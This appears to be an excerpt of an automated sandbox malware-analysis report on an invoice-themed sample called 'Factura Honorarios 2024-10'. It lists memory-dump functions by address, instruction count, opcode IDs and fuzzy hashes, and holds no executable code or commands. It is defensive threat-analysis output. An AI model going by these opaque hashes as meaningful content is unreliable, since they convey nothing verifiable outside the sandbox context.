Snapshot File: hcaresult_4_2_9d000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction ID: 28b3f5ef59fdc6155d1cf3ec30333247b97edc4fe69eaae99f9bbaa3c5a3dc0f
Opcode Fuzzy Hash: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction Fuzzy Hash: 24110376544280CFCF02CF14D5C4B16BFB1FB94314F24C5AAD8090B616C336D85ADBA2

Function 0009D463 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984656523.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction ID: e2c47db243108582b96ce2e547a7d0bfa300573e30f6887fdab3e482b217e988
Opcode Fuzzy Hash: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction Fuzzy Hash: A8110372544640CFCF02CF10D5C4B16BFB1FB94318F24C5AAD8090B216C336D85ADBA2

Function 0016F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36da1e401e518379385472397e513c406fbf5fac818e9925bc308c969dff5199
Instruction ID: 6a3f883cb3300edf67a89e2e233d8d24b5bf8e13a19ec5122fa5d4832106cfb1
Opcode Fuzzy Hash: 36da1e401e518379385472397e513c406fbf5fac818e9925bc308c969dff5199
Instruction Fuzzy Hash: 55114C70D001099FDB04EFA9D98069EBBF2FF85304F10D579D018AB365EB745A4A9F80

Function 000AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984691844.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeeb28edeb7a7844692f5c9e5b1c86b761d25cb2a560f87f4e21d5c9dbefd6d7
Instruction ID: 911a06aec871ac25ffe0fb9b76f0ff3ed1228e86413c044d7106d63c55da38df
Opcode Fuzzy Hash: aeeb28edeb7a7844692f5c9e5b1c86b761d25cb2a560f87f4e21d5c9dbefd6d7
Instruction Fuzzy Hash: 2E11D075504244DFCB11CF50C5C4B15BFA1FB45314F24C6AED84A4B652C33AD84ACF52

Function 00165E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c42a48281a61a4e488ed761c36aea4745b438bd2b8982267fde8bcaaf584f8
Instruction ID: 9de00371b4eece8a9424d823ff7627bea1439d6b1448ab2745470b49e4454008
Opcode Fuzzy Hash: a0c42a48281a61a4e488ed761c36aea4745b438bd2b8982267fde8bcaaf584f8
Instruction Fuzzy Hash: A50128327042146FCF059E98AC60AEF3BABDBC9750F148026F905DB391CB728E11A7D0

Function 3AD6EBE3 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c889bc6b77b7c99cc2a0100e0bb99d486c70c2c3faafe0b9b8a4ee79ec7a2305
Instruction ID: 584bbab6b890c30780d999107ed91be13d2242a5a7dea3ea58ca0c35326996e3
Opcode Fuzzy Hash: c889bc6b77b7c99cc2a0100e0bb99d486c70c2c3faafe0b9b8a4ee79ec7a2305
Instruction Fuzzy Hash: C2116DB5E002218FDB50DF7CD90898A7BF5BF88255B5641A9D885EB321EB30CC46CF91

Function 39C54640 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c322966a0dee893aaf213ad85580918a3246574b72c06fe107eb2850e26d4b4
Instruction ID: 27ee0c593eeb1276d304abd9ffb320c754fc06f6be5aa404bdd406f2ecc715c4
Opcode Fuzzy Hash: 4c322966a0dee893aaf213ad85580918a3246574b72c06fe107eb2850e26d4b4
Instruction Fuzzy Hash: 5F015A393006008FD704CB2BE598B96B7E6EF88765F108479E10ACB761CE71EC04CB64

Function 39C53258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435cea86254707a89c08a332e20887f4131518229a043d7a213a1b1ca68f57e9
Instruction ID: e1695366219878d6b88573a05133b5641e5b9b9b0913e5e07e648a382acba315
Opcode Fuzzy Hash: 435cea86254707a89c08a332e20887f4131518229a043d7a213a1b1ca68f57e9
Instruction Fuzzy Hash: 7C019E35E00299EFCB549F6AD8185AE7BB5FF88350B004439EE5AE3241DB349911CBA1

Function 39C549E0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b84049a499fffb6fb89340d064549f00a4bf0318bfe2be59d14357c3ef84eadd
Instruction ID: 2cafd0b4998e5e26b36e474c180556afc9a2a41fd4eb14df3e569b6546146d65
Opcode Fuzzy Hash: b84049a499fffb6fb89340d064549f00a4bf0318bfe2be59d14357c3ef84eadd
Instruction Fuzzy Hash: 88014E39B082908FCB056F74A92805D3FB6DBDA22271441BBE64FCB391DA358D43C795

Function 39C53248 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11d107bac5da88b1662cd7bd6527b5f90afdb162b2e87545263257f32b8c94ab
Instruction ID: 55deee4fe3f6e09c55b32265b7475c79f960c7cda2d466a51623fd87f5ea7738
Opcode Fuzzy Hash: 11d107bac5da88b1662cd7bd6527b5f90afdb162b2e87545263257f32b8c94ab
Instruction Fuzzy Hash: B4019E35E00299EFCB559F69D8645EE7BB0FB89350B00413DEE5AA3241C7344D52CFA1

Function 0016E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2235f4ca544e8dfcbf34b1cdfee523e61a3bc5405bb080afb0110e0733e382f
Instruction ID: abf91b612a35fe2ac4d3058d6ec691ee946544bd45495c9ee8611ba7690d8854
Opcode Fuzzy Hash: d2235f4ca544e8dfcbf34b1cdfee523e61a3bc5405bb080afb0110e0733e382f
Instruction Fuzzy Hash: C3112974D0420AAFDB01CFE8C8459AEFBB1FF8A304F008166E914A3350D7385A16DF92

Function 0016ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a80691b17a6272a6028fed499fa19ace8c1b8924c12d43c0f0f038e354fd646b
Instruction ID: c783cd842323e233405da65f03d62bd8258f84ad89cb0dc5fc710de694de5c68
Opcode Fuzzy Hash: a80691b17a6272a6028fed499fa19ace8c1b8924c12d43c0f0f038e354fd646b
Instruction Fuzzy Hash: D5F0BB313006104BC7155A2EDC54A2EB7DEEFC9B55395407AE909D7371EF21CC538B92

Function 39C54C98 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e477ea6c5506bffe2289e94c0b4f611550a14605879ed9a9397b7998c8511c6
Instruction ID: 3417a593d26be2d7c95580a4fd8b8fab4332c5e7685823a885a50a30c95ecf9c
Opcode Fuzzy Hash: 2e477ea6c5506bffe2289e94c0b4f611550a14605879ed9a9397b7998c8511c6
Instruction Fuzzy Hash: 90F09036B04A108FC7159B2AB414A9FB7B6DFC5265B1444AAE10ADB360DA32D802CB98

Function 3AD6EB58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dde0f293e2d4565799f79a2b3575f7618ef9967991a4b71cd7e053eb5a619af
Instruction ID: 7f92fed12c5fd5294d09be039750bd8aef5aaa36e15526361a50da5301774c50
Opcode Fuzzy Hash: 3dde0f293e2d4565799f79a2b3575f7618ef9967991a4b71cd7e053eb5a619af
Instruction Fuzzy Hash: E201F270E003199FDF44EFB9C9046EEBBF5AF88204F50816AD519F7260EB3899028BD1

Function 39C544CF Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cc1880bf26ed9b544e58668e956af6f97970025f04836290754a38e47210985
Instruction ID: 43982c153726a31aeae2a817bdb937b4c4e7c4e10f6b99d41757bc2c5e2c505b
Opcode Fuzzy Hash: 5cc1880bf26ed9b544e58668e956af6f97970025f04836290754a38e47210985
Instruction Fuzzy Hash: 25F090719002089E9B60DFAED8409EFFBF6FF98350B51453AD905D3251E7309955CFA1

Function 3AD6E693 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4468247b19b9fabf7f5b7bf67111360c7cad49b016c32f648f7160837d474ff5
Instruction ID: e935f42a9421e4400ff2ddee650853905c9e45971ef5e3d37dcb361a8e6fbe79
Opcode Fuzzy Hash: 4468247b19b9fabf7f5b7bf67111360c7cad49b016c32f648f7160837d474ff5
Instruction Fuzzy Hash: 64F082343482108FE7089B79D864A663BEAAFC575474644AAF909CF2B1DE61CC028790

Function 39C54990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af31526d3b7d269e016d7d8f04f2751474dad90598c76c857d28f443e25d86ec
Instruction ID: 0248b2d644fdc0c736ce4aaea085500ac37d6da34dec86d2772f27694f95c414
Opcode Fuzzy Hash: af31526d3b7d269e016d7d8f04f2751474dad90598c76c857d28f443e25d86ec
Instruction Fuzzy Hash: 68F03A353002059FC7009F6BD498C5ABBEAFF887247548069EA0987335CB71AC51CB90

Function 3AD6E6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e8054a79688fd11a8435ef80e9f8dd8b61feae8f6ddec3df0424ea5655d7b29
Instruction ID: 2bd8166f9f4817eea93cbaa13d7a3b8e3f352d145f0b355088180227d9b5a7d3
Opcode Fuzzy Hash: 4e8054a79688fd11a8435ef80e9f8dd8b61feae8f6ddec3df0424ea5655d7b29
Instruction Fuzzy Hash: 1BF08C343042108FE7089B7ADC6892A37AAEFC575474684A9F506CB7B0DE71DC01C790

Function 00166739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85d07600aae162ebf3386fc66c59b39e7138b29a4b4a83aae6cd3db0a0d5b2fb
Instruction ID: 041712fa085e68706cd9754b89405918acf0f4b6c3b783130d8da293cd487885
Opcode Fuzzy Hash: 85d07600aae162ebf3386fc66c59b39e7138b29a4b4a83aae6cd3db0a0d5b2fb
Instruction Fuzzy Hash: B5E0C23100C3444FC703E774DC641957B6EDE5220070080A1D0044B67BEFA9694A8BA1

Function 001628B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0144619a2f18fc8dcc6a43326a89382817eadef7f219a50aa74142c8a069217
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: e0144619a2f18fc8dcc6a43326a89382817eadef7f219a50aa74142c8a069217
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 001628AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79722994a6f837979a8aeca515513eb61b069fc5bfb06d4f9625214f0156bd2
Instruction ID: 24f7cf0921585523a67ca57cc6cbcb4c639aad85e67b0375baf5797f1ae849ca
Opcode Fuzzy Hash: f79722994a6f837979a8aeca515513eb61b069fc5bfb06d4f9625214f0156bd2
Instruction Fuzzy Hash: B3D01235E2022A86CB11EBB1AD400EDB334AE95225B548626D57536550EB30665986E2

Function 39C54A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad926231a832493ac8c1abacb7a64fa0f83b5580fad4351f15866269abe6d942
Instruction ID: 3229ebb69f56be5b6736530762e04004d2a2b9868c67ec5bfa03008b0d9af6f6
Opcode Fuzzy Hash: ad926231a832493ac8c1abacb7a64fa0f83b5580fad4351f15866269abe6d942
Instruction Fuzzy Hash: 0BD0C7367041546B4B151E4994148AE7B6ED7CD7717048026FA4993300CE754D1297E5

Function 0016D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c021ac0d3b7c841dcdbeda69954ee0804af5dd4daf1f8fe801612449695b12f
Instruction ID: b654fbb4b49a35b5a6e2f940d381e6789825fff503d9216c3eadde70fa68bd4b
Opcode Fuzzy Hash: 7c021ac0d3b7c841dcdbeda69954ee0804af5dd4daf1f8fe801612449695b12f
Instruction Fuzzy Hash: 59D0E234E00008CBCB20DFA8E9844DCBBB1EF48321B20502BD826A3620C63054948F41

Function 0016AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ced4d87d2cce8476aef7c1f1aaa97547a75168741fa2845cb104deb1d702fde
Instruction ID: 6884d8ccb27238b3d59b39c4cf04c9576ffd303ac19a0ca0f0c222da8c32c5bc
Opcode Fuzzy Hash: 4ced4d87d2cce8476aef7c1f1aaa97547a75168741fa2845cb104deb1d702fde
Instruction Fuzzy Hash: 3BD0673AB40018DFCB049F99EC808DDF7B6FB98221B148117E915A3265C6319965DB54

Function 00166748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe0e8d9df8d8fdb81ce47a70674403a4ad41a2b1ed82fe9d2ff053d89f214647
Instruction ID: 9f49731312d52836194d70724d67c3bdd49cde8e648fd2006bbe9e34852ce488
Opcode Fuzzy Hash: fe0e8d9df8d8fdb81ce47a70674403a4ad41a2b1ed82fe9d2ff053d89f214647
Instruction Fuzzy Hash: D8C012300583088ED506E7A5ED45555B72EEB802047409520A0050667EDFBDA98A8A90

Non-executed Functions

Function 39C50040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5vq, xrefs: 39C5015B

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: d57e1a10ff826b53d2af224159d4bf2526fb961da1480bc536419a71c4ca8988
Instruction ID: f8ac8c547944dc5d852d570ff22349a722a6dbcfc96502984c95598e531bf908
Opcode Fuzzy Hash: d57e1a10ff826b53d2af224159d4bf2526fb961da1480bc536419a71c4ca8988
Instruction Fuzzy Hash: DD529C74E01228CFDB64DF69C980B9DBBB2BB89301F1085E9D409A7355DB35AE82CF50

Function 39C50B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af27e8ad216d641728773a7e691d6e0d9b6b33d50090cdfb646b6916424a775d
Instruction ID: 98a9a87a50269cd0f1cae7d2bce627538f3990d77271842b4320a092d72dbdcf
Opcode Fuzzy Hash: af27e8ad216d641728773a7e691d6e0d9b6b33d50090cdfb646b6916424a775d
Instruction Fuzzy Hash: 0172C074E052288FDB64CF6AD984BDABBB2BF49304F1091E9D40DA7251DB34AE81CF54

Function 3AD35FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e3e67bd97c9617cba0c7f5d8b1ff81355c54f77f465ca7ab75bb1b7bfa81dfe
Instruction ID: f4b8b258c968e13641a7a874c4d922cf8943f9b5b4c225ddf78c8cfef991120e
Opcode Fuzzy Hash: 0e3e67bd97c9617cba0c7f5d8b1ff81355c54f77f465ca7ab75bb1b7bfa81dfe
Instruction Fuzzy Hash: C1E1BFB4E01218CFDB64CFA9C940B9DBBB2BF89304F2081A9D409B7395DB355A86DF14

Function 3AD70E98 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a96fac243fb2a027204ed56598c8379a374ecab7d9491dac12bfbd79ff193ea
Instruction ID: 45600ce945752916a8ef9b7cdf398879a2555fecae95817cf1d41a6ce6b8827a
Opcode Fuzzy Hash: 9a96fac243fb2a027204ed56598c8379a374ecab7d9491dac12bfbd79ff193ea
Instruction Fuzzy Hash: 3DD19F74E00218CFDB54DFA5C994B9DBBB2BF89304F1091A9D809AB364DB359E85CF50

Function 3AD70040 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5074cea70b8ad8bfb7e7688429aac7b5acaece06a3a048ecc439476b23ce9f5
Instruction ID: 3a8766487fddc0aba0a2d7eae87da535722e9b0554f3290a6f7ef44e8533d9f3
Opcode Fuzzy Hash: a5074cea70b8ad8bfb7e7688429aac7b5acaece06a3a048ecc439476b23ce9f5
Instruction Fuzzy Hash: 41D19E74E00218CFEB54DFA5C994B9DBBB2BF89304F1091A9D409AB364DB359E86CF50

Function 3AD71828 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a640612e1bcaf5f3d5281da29631e763bf67a0dc1c8df94683746701a693bca1
Instruction ID: 8054d7c2bb5c08827786614374074cc974cc17b0e2f6f0845969396b63bc71c4
Opcode Fuzzy Hash: a640612e1bcaf5f3d5281da29631e763bf67a0dc1c8df94683746701a693bca1
Instruction Fuzzy Hash: 72D18F74E00218CFDB54DFA5C994B9DBBB2BF89304F1091A9D409AB364DB359E86CF50

Function 3AD709D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a90c3eb20b8ab426771a1e2589cd2304c419ea88c3dd8f03ccb39b2408d7197
Instruction ID: f2b908f895ad6d1b92907686f644893787894019f83e216f4a2dd12de32ecfb1
Opcode Fuzzy Hash: 8a90c3eb20b8ab426771a1e2589cd2304c419ea88c3dd8f03ccb39b2408d7197
Instruction Fuzzy Hash: A9D1AF74E00218CFEB54DFA5D990B9DBBB2BF89304F1091A9D409AB364DB359E86CF50

Function 3AD71360 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fcd2dfe43523a9f16c7d4891683ecb4e86c9de08f4e2dd5b3d0d86c105a04c6
Instruction ID: e1843da6bf2249aee263ae5b2f1f1e4a6d977a22bcefc38c2810120e91b3542a
Opcode Fuzzy Hash: 2fcd2dfe43523a9f16c7d4891683ecb4e86c9de08f4e2dd5b3d0d86c105a04c6
Instruction Fuzzy Hash: 8DD1AE74E00218CFEB54DFA5C994B9DBBB2BF89304F1081A9D409AB364DB359E86CF50

Function 3AD70508 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799ab31b357ddc61fb45db08eb898a7d55e6d38e0352e830d030705446df8fc6
Instruction ID: 12da43378feeb891feefcd92917c45ea40d4633cd304d205df90b1e0ced773ed
Opcode Fuzzy Hash: 799ab31b357ddc61fb45db08eb898a7d55e6d38e0352e830d030705446df8fc6
Instruction Fuzzy Hash: F7D19E74E00218CFEB54DFA5C994B9DBBB2BF89304F1091A9D409AB364DB359E86CF50

Function 3AD374D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae175a4f00be642fba892dd0fa558d45dc6a9dff74963ca650cc29781d6fe3e
Instruction ID: 2fb40a4d0b64b4a193fc09ddd7b722851f0794bdbf88921586bf346339582924
Opcode Fuzzy Hash: 0ae175a4f00be642fba892dd0fa558d45dc6a9dff74963ca650cc29781d6fe3e
Instruction Fuzzy Hash: 89D1AE74E01218CFEB14DFA5C994B9DBBB2BF89304F1091A9D409AB364DB359E86CF50

Function 3AD39FD8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4925ab0a21a363400fb44ba04b95b64b46744021f867d999d7a7b1ae41864c2
Instruction ID: 53bde75b761e92896ff2c87f6f60f87433a43ee0d8ed081251dc769214656746
Opcode Fuzzy Hash: f4925ab0a21a363400fb44ba04b95b64b46744021f867d999d7a7b1ae41864c2
Instruction Fuzzy Hash: D9D1BE74E01218CFEB14CFA5C994B9DBBB2BF89304F1091A9D409AB3A4DB359E85CF50

Function 3AD3B7C0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bfbf89492130a87c9888d62eede9adf030ee5c72c2f3816017afd59789c985
Instruction ID: 89a93c905ecebdfe19216b4fced6fcce41ae55b471ed3d45115a8d5ab9eb4c1c
Opcode Fuzzy Hash: 34bfbf89492130a87c9888d62eede9adf030ee5c72c2f3816017afd59789c985
